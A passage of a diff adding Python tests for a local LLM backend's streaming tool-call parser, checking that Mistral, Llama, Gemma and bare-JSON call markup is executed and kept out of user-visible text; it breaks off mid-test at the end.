 def test_auto_heal_disabled_parses_well_formed_xml_when_tools_enabled(monkeypatch):
     streams = [
         [
@@ -1200,6 +1541,119 @@ def test_auto_heal_disabled_parses_well_formed_xml_when_tools_enabled(monkeypatc
     )
 
 
+def test_textual_mistral_marker_not_leaked_when_inline_with_preface(monkeypatch):
+    # Textual Mistral ``[TOOL_CALLS]`` inline with visible preface: the DRAINING flush must use the
+    # shared parser patterns (which know ``[TOOL_CALLS]``); the legacy set leaked the marker to clients.
+    streams = [
+        [_sse({"content": 'Let me search. [TOOL_CALLS]web_search{"query":"cats"}'}), _done()],
+        [_sse({"content": "done"}), _done()],
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("[TOOL_CALLS]" not in t for t in content_texts), content_texts
+    assert any("Let me search." in t for t in content_texts)
+
+
+def test_textual_explicit_id_reuses_provisional_card(monkeypatch):
+    # A textual Mistral-style call with an explicit ``id`` must reconcile onto the
+    # open provisional TEXT card (keyed "call_0"), not spawn a duplicate under the
+    # explicit id (which the parser keeps for execution).
+    big_query = "cats " * 80  # push the drained call past the provisional floor
+    call = "[TOOL_CALLS]" + json.dumps(
+        [{"name": "web_search", "arguments": {"query": big_query}, "id": "explicit-42"}]
+    )
+    assert len(call) > 256
+    # Small chunks so the provisional card opens mid-generation (a single-shot
+    # delta parses instantly and never shows a provisional to exercise).
+    chunks = [call[i : i + 24] for i in range(0, len(call), 24)]
+    streams = [
+        [_sse({"content": c}) for c in chunks] + [_done()],
+        [_sse({"content": "done"}), _done()],
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": big_query})]
+    tool_starts = [e for e in events if e.get("type") == "tool_start"]
+    # Empty-args card = provisional open; full-args card = reconciled real start.
+    provisional = [e for e in tool_starts if not e.get("arguments")]
+    real = [e for e in tool_starts if e.get("arguments", {}).get("query")]
+    assert len(provisional) == 1, tool_starts  # provisional actually opened
+    prov_id = provisional[0]["tool_call_id"]
+    # Exactly one real card, sharing the provisional id, not a duplicate under
+    # the explicit "explicit-42" id.
+    assert len(real) == 1, tool_starts
+    assert real[0]["tool_call_id"] == prov_id
+    assert real[0]["tool_name"] == "web_search"
+    assert {e["tool_call_id"] for e in tool_starts} == {prov_id}
+    # A single tool_end reconciles the card; no stale empty-result close.
+    ends = [e for e in events if e.get("type") == "tool_end"]
+    assert [e["tool_call_id"] for e in ends] == [prov_id]
+    assert ends[0]["result"] == "result"
+
+
+def test_textual_llama_python_tag_marker_not_leaked(monkeypatch):
+    # Same leak class for the Llama-3 built-in ``<|python_tag|>NAME.call(...)`` form.
+    streams = [
+        [_sse({"content": '<|python_tag|>web_search.call(query="cats")'}), _done()],
+        [_sse({"content": "done"}), _done()],
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("<|python_tag|>" not in t for t in content_texts), content_texts
+
+
 def test_reprompted_tool_call_still_streams_final_answer(monkeypatch):
     """Suppression ends once a forced re-prompt actually calls a tool."""
 
@@ -1499,6 +1953,39 @@ def test_large_python_tool_call_emits_early_provisional_start(monkeypatch):
     assert any(e.get("type") == "tool_end" and e.get("tool_name") == "python" for e in events)
 
 
+def test_auto_mode_render_html_suppresses_provisional_card_under_confirm(monkeypatch):
+    """render_html is no longer unconditionally safe (a networked canvas asks), so
+    with confirm_tool_calls set under permission_mode="auto" its early provisional
+    card is suppressed; the real full-argument tool_start still fires and a static
+    canvas runs without a prompt."""
+    args = {"code": "<html>" + "x" * 80 + "</html>"}
+    first_stream = _streamed_structured_tool_call("render_html", args, "call_rh")
+    final_stream = [_sse({"content": "Done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", lambda name, arguments, **_k: "OK")
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "make a card"}],
+            tools = [{"type": "function", "function": {"name": "render_html"}}],
+            confirm_tool_calls = True,
+            permission_mode = "auto",
+            max_tool_iterations = 1,
+        )
+    )
+
+    tool_starts = [e for e in events if e.get("type") == "tool_start"]
+    provisional = [e for e in tool_starts if not e.get("arguments")]
+    # The confirm gate now suppresses the early provisional card for render_html.
+    assert provisional == [], tool_starts
+    real = [e for e in tool_starts if e.get("arguments")]
+    assert real and real[0]["tool_name"] == "render_html"
+    # A static canvas is classified safe, so it still runs without an approval gate.
+    assert real[0].get("awaiting_confirmation") in (False, None)
+
+
 def test_small_python_tool_call_has_no_provisional_start(monkeypatch):
     """A small tool-call argument finishes streaming instantly, so it keeps the
     existing behavior of a single (real) tool_start with no provisional card."""
@@ -1738,6 +2225,255 @@ def test_empty_tool_call_id_does_not_emit_provisional_card(monkeypatch):
     assert calls == [("python", {"code": big_code})]
 
 
+def _streamed_content(text: str, frag: int = 4) -> list[str]:
+    """Stream content token-by-token like llama-server; ``frag`` sets the chunk size."""
+    chunks = [_sse({"content": text[i : i + frag]}) for i in range(0, len(text), frag)]
+    chunks.append(_done())
+    return chunks
+
+
+def test_bare_json_tool_call_streamed_is_not_leaked_and_executes(monkeypatch):
+    """A wrapper-less bare-JSON call must be held while incomplete, drained silently, and executed with nothing leaking."""
+
+    bare_call = '{"name": "web_search", "parameters": {"query": "weather in Sydney"}}'
+    first_stream = _streamed_content(bare_call)
+    final_stream = [_sse({"content": "It is sunny in Sydney."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "Weather: sunny, 22C."
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather in Sydney?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    # The tool ran with the parsed arguments.
+    assert calls == [("web_search", {"query": "weather in Sydney"})]
+    assert any(
+        event.get("type") == "tool_end" and event.get("tool_name") == "web_search"
+        for event in events
+    )
+
+    # The bare JSON never leaked to the user-visible stream.
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all('"name"' not in t for t in content_texts), content_texts
+    assert all("web_search" not in t for t in content_texts), content_texts
+    # The post-tool synthesis is still streamed.
+    assert any("sunny in Sydney" in t for t in content_texts), content_texts
+
+
+def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call(monkeypatch):
+    """Markerless JSON with a non-enabled name is the answer, not a phantom call."""
+
+    answer = '{"name": "Alice", "parameters": {"age": 30}}'
+    first_stream = _streamed_content(answer)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "give me a person record"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
+def test_incomplete_bare_json_truncation_is_not_leaked(monkeypatch):
+    """If generation is cut off mid bare-JSON object (no closing brace), the held
+    fragment must be stripped at stream end rather than dumped to the user."""
+
+    truncated = '{"name": "web_search", "parameters": {"query": "weather in S'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("no complete call")),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all('{"name"' not in t for t in content_texts), content_texts
+
+
+def test_gguf_truncated_ordinary_json_with_name_key_is_shown_not_suppressed(monkeypatch):
+    """A truncated markerless object whose "name" is NOT an enabled tool (a person
+    record cut off mid-stream, ``{"name":"Alice","age":``) must still be shown. The
+    end-of-stream ``_is_bare_tc`` heuristic routed any ``{...,"name",...}`` fragment
+    to DRAINING (dropped); it is now gated on the enabled tool names so only a real
+    truncated tool call is suppressed, ordinary JSON streams through."""
+
+    truncated = '{"name": "Alice", "age": 30, "bio": "loves '
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "start a person record"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
+def test_gguf_truncated_disabled_name_json_is_preserved_when_tools_active(monkeypatch):
+    """A truncated JSON answer with a non-enabled name must still be shown (resolvers are gated on enabled names)."""
+
+    truncated = '{"name": "Alice", "parameters": {"age": 30'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "give json"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
+def test_gguf_truncated_enabled_name_json_is_still_suppressed(monkeypatch):
+    """Counterpart guard: a truncated ENABLED-tool bare call (``web_search``) cut off
+    mid-JSON still must NOT leak -- the gate only spares disabled / non-tool names."""
+
+    truncated = '{"name": "web_search", "parameters": {"query": "weather in S'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("no complete call")),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all('{"name"' not in t for t in content_texts), content_texts
+
+
+def test_gguf_oversized_disabled_name_json_is_preserved(monkeypatch):
+    """An oversized still-open JSON answer with a non-enabled name streams as content, not a phantom drain."""
+
+    cap = 16384
+    big = "A" * (cap + 5000)
+    answer = '{"name":"Alice","parameters":{"bio":"' + big  # never closes
+    first_stream = [_sse({"content": answer[i : i + 2000]}) for i in range(0, len(answer), 2000)]
+    first_stream.append(_done())
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "long json"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts[:1]
+
+
+def test_gemma_wrapperless_call_streamed_is_not_leaked_and_executes(monkeypatch):
+    """Gemma 4 GGUF (skip_special_tokens) streams a wrapper-less ``call:NAME{..}``
+    with no XML signal. Like bare JSON, the BUFFERING scan must recognise it via
+    _GEMMA_BARE_TC_RE, drain it silently, and execute the tool -- never leaking
+    the ``call:`` markup to the user-visible stream."""
+
+    gemma_call = 'call:web_search{query:"weather in Sydney"}'
+    first_stream = _streamed_content(gemma_call)
+    final_stream = [_sse({"content": "It is sunny in Sydney."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "Weather: sunny, 22C."
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather in Sydney?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "weather in Sydney"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("call:" not in t for t in content_texts), content_texts
+    assert any("sunny in Sydney" in t for t in content_texts), content_texts
+
+
 def _usage_done(usage: dict, finish_reason: str = "stop") -> str:
     """A terminal SSE chunk carrying llama-server's ``usage`` block, the way the
     real server reports it on the final chunk of a completion."""
@@ -1813,3 +2549,698 @@ def test_metadata_event_omits_prompt_tokens_details_when_absent(monkeypatch):
     metadata = [e for e in events if e.get("type") == "metadata"]
     assert metadata, "expected a metadata event"
     assert "prompt_tokens_details" not in metadata[-1]["usage"]
+
+
+def test_gguf_rehearsal_name_split_before_args_is_not_leaked(monkeypatch):
+    """Finding 6: a rehearsal call whose name (``web_search``) and ``[ARGS]{...}``
+    arrive in separate content deltas must hold the bare name in the buffer until
+    ``[ARGS]`` flips it to a drain. Without _is_rehearsal_prefix the GGUF path
+    streams the tool name as visible content before the call executes."""
+
+    first_stream = [
+        _sse({"content": "web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all("[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_initial_buffer_flush_holds_split_rehearsal_name(monkeypatch):
+    """The first flush out of BUFFERING (prose plus a trailing active-tool-name in
+    the first delta, ``[ARGS]{...}`` in the next) must apply the same trailing-name
+    hold the STREAMING branch uses. The first delta has spaces so it is not a
+    rehearsal prefix and falls to the initial flush, which previously emitted the
+    bare name before the call drained."""
+
+    first_stream = [
+        _sse({"content": "I will use web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all("[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_rehearsal_name_after_prose_in_streaming_is_not_leaked(monkeypatch):
+    """Finding 9: the BUFFERING guard only covers a rehearsal at the turn start.
+    When prose has already streamed (STREAMING state) and the model then emits the
+    tool name and ``[ARGS]{...}`` in later deltas, the bare name must still be held,
+    not flushed as visible content before the call drains."""
+
+    first_stream = [
+        _sse({"content": "Let me think. "}),
+        _sse({"content": "I will search "}),
+        _sse({"content": "web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+
+
+def test_gguf_plain_answer_ending_with_tool_name_word_is_preserved(monkeypatch):
+    """End-of-stream flush: a plain answer that ENDS on a tool-name word with no
+    ``[ARGS]`` following is real prose and must not be dropped by the streaming
+    rehearsal hold."""
+
+    first_stream = [
+        _sse({"content": "I think "}),
+        _sse({"content": "you should "}),
+        _sse({"content": "web_search"}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "advise"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any(t.rstrip().endswith("web_search") for t in content_texts), content_texts
+
+
+def test_gguf_long_tool_name_split_rehearsal_is_not_capped_and_executes(monkeypatch):
+    """Finding 11: a realistic MCP name longer than the 32-char buffer cap split as
+    NAME then [ARGS]{...} must still be held (a rehearsal prefix is self-bounding),
+    so the name does not leak and the call executes."""
+    name = "mcp__github__create_pull_request"
+    assert len(name) >= 32, len(name)
+
+    first_stream = [
+        _sse({"content": name}),
+        _sse({"content": '[ARGS]{"x":1}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": name}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [(name, {"x": 1})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert not any(name in t for t in content_texts), content_texts
+
+
+def test_gguf_streaming_keeps_bare_args_before_think_block(monkeypatch):
+    """F4: the GGUF streaming strip must run its open-ended ``[ARGS]`` tail cleanup
+    only on the LAST segment. A bare ``foo[ARGS]`` (no JSON body, ``foo`` not a tool)
+    before a <think> block is prose, not a truncated call, so the final visible text
+    must keep it verbatim instead of dropping ``foo[ARGS]`` and corrupting the
+    sentence."""
+
+    first_stream = [
+        _sse({"content": "Please pass foo[ARGS] "}),
+        _sse({"content": "<think>pause</think> "}),
+        _sse({"content": "to the template."}),
+        _done(),
+    ]
+    backend = _make_backend(monkeypatch, [first_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "x"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert content_texts, events
+    assert content_texts[-1] == "Please pass foo[ARGS] <think>pause</think> to the template."
+
+
+def test_gguf_inactive_name_args_in_prose_is_not_drained(monkeypatch):
+    """BUG A: an inactive-name ``foo[ARGS]{...}`` in a prose answer must not be treated
+    as a tool call. The BUFFERING and end-of-stream safety-net ``[ARGS]`` checks gate on
+    active tool names (like the safetensors loop and the mid-stream path), so ``foo``
+    (``web_search`` is the only enabled tool) is neither drained/parsed into a disabled
+    no-op nor forced into another generation turn."""
+    first_stream = [
+        _sse({"content": 'foo[ARGS]{"x":1} is just syntax.'}),
+        _done(),
+    ]
+    backend = _make_backend(monkeypatch, [first_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "x"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    # No tool executed for the inactive name; a spurious no-op re-prompt would exhaust the
+    # single supplied stream and error.
+    assert calls == [], calls
+    assert not any(e.get("type") in ("tool_start", "tool_end") for e in events), events
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    # The inactive ``foo[ARGS]{...}`` is prose: the name-gated strip keeps the whole sentence.
+    assert any('foo[ARGS]{"x":1} is just syntax.' in t for t in content_texts), content_texts
+
+
+def test_gguf_inactive_rehearsal_before_active_call_executes_and_keeps_prose(monkeypatch):
+    """BUG X (#5704): an inactive ``foo[ARGS]{...}`` before a real ``web_search[ARGS]{...}``
+    in one delta must NOT swallow the real call; web_search executes while the inactive
+    rehearsal stays visible as prose."""
+    first_stream = [
+        _sse({"content": 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    # The real call runs; ``foo`` is not executed as a phantom disabled call.
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    # The inactive rehearsal is preserved as prose; the active one is stripped.
+    assert any('foo[ARGS]{"a":1}' in t for t in content_texts), content_texts
+    assert all("web_search[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_rehearsal_detection_recognises_spent_one_shot_with_original_tools():
+    # Rehearsal detection is fed the ORIGINAL tool list, so a spent one-shot's re-emitted
+    # repeat is still detected (matching the strip gate) instead of blanking the turn.
+    from core.inference.llama_cpp import _gguf_has_genuine_tool_signal
+    from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+
+    repeat = 'render_html[ARGS]{"code":"<html>x</html>"}'
+    active_only = [{"type": "function", "function": {"name": "web_search"}}]
+    original = active_only + [{"type": "function", "function": {"name": "render_html"}}]
+    assert not _gguf_has_genuine_tool_signal(repeat, TOOL_XML_SIGNALS, active_only)
+    assert _gguf_has_genuine_tool_signal(repeat, TOOL_XML_SIGNALS, original)
+
+
+def test_gguf_rehearsal_prefix_and_tail_hold_recognise_spent_one_shot():
+    # The BUFFERING prefix check and STREAMING/flush tail-holds use the ORIGINAL tool list,
+    # so a spent one-shot's split repeat is held rather than leaked as visible text.
+    from core.inference.llama_cpp import _held_rehearsal_tail_len, _is_rehearsal_prefix
+
+    active_only = [{"type": "function", "function": {"name": "web_search"}}]
+    original = active_only + [{"type": "function", "function": {"name": "render_html"}}]
+    assert not _is_rehearsal_prefix("render_html", active_only)
+    assert _is_rehearsal_prefix("render_html", original)
+    assert _held_rehearsal_tail_len("answer render_html", active_only) == 0
+    assert _held_rehearsal_tail_len("answer render_html", original) == len("render_html")
+
+
+def test_gguf_oversized_bare_json_not_leaked_and_executes(monkeypatch):
+    """An oversized bare-JSON call drains rather than streams, and still executes via the safety net."""
+
+    cap = 16384
+    big = "A" * (cap + 5000)
+    full = '{"name":"python","parameters":{"code":"' + big + '"}}'
+    first_stream = [_sse({"content": full[i : i + 2000]}) for i in range(0, len(full), 2000)]
+    first_stream.append(_done())
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run"}],
+            tools = [{"type": "function", "function": {"name": "python"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert not any(t.lstrip().startswith('{"name') for t in content_texts), content_texts[:1]
+    assert calls and calls[0][0] == "python"
+    assert len(calls[0][1].get("code", "")) > cap
+
+
+def test_gguf_bare_json_call_not_replayed_in_next_turn_content(monkeypatch):
+    """After a bare-JSON call executes, the kept assistant message must not carry the raw call as content."""
+
+    import copy
+
+    first_stream = [
+        _sse({"content": '{"name":"web_search","parameters":{"query":"cats"}}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", lambda *_a, **_k: "RESULT")
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    assert len(payloads) >= 2
+    asst = [m for m in payloads[1]["messages"] if m.get("role") == "assistant"]
+    assert asst and not any('"name"' in (m.get("content") or "") for m in asst), asst
+
+
+def test_gguf_textual_fallback_caps_distinct_tool_calls_per_turn(monkeypatch):
+    """A single textual-fallback turn that parses many DISTINCT tool calls must be
+    capped at _MAX_TOOL_CALLS_PER_TURN (structured delta.tool_calls are grammar
+    bounded by llama-server; text parsed from content is not). Mirrors the
+    safetensors loop so one runaway turn cannot fan out into dozens of executions."""
+    from core.inference.llama_cpp import _MAX_TOOL_CALLS_PER_TURN
+
+    n = _MAX_TOOL_CALLS_PER_TURN + 4
+    blocks = "".join(
+        '<tool_call>{"name":"t%d","arguments":{"i":%d}}</tool_call>' % (i, i) for i in range(n)
+    )
+    first_stream = [_sse({"content": blocks}), _done()]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
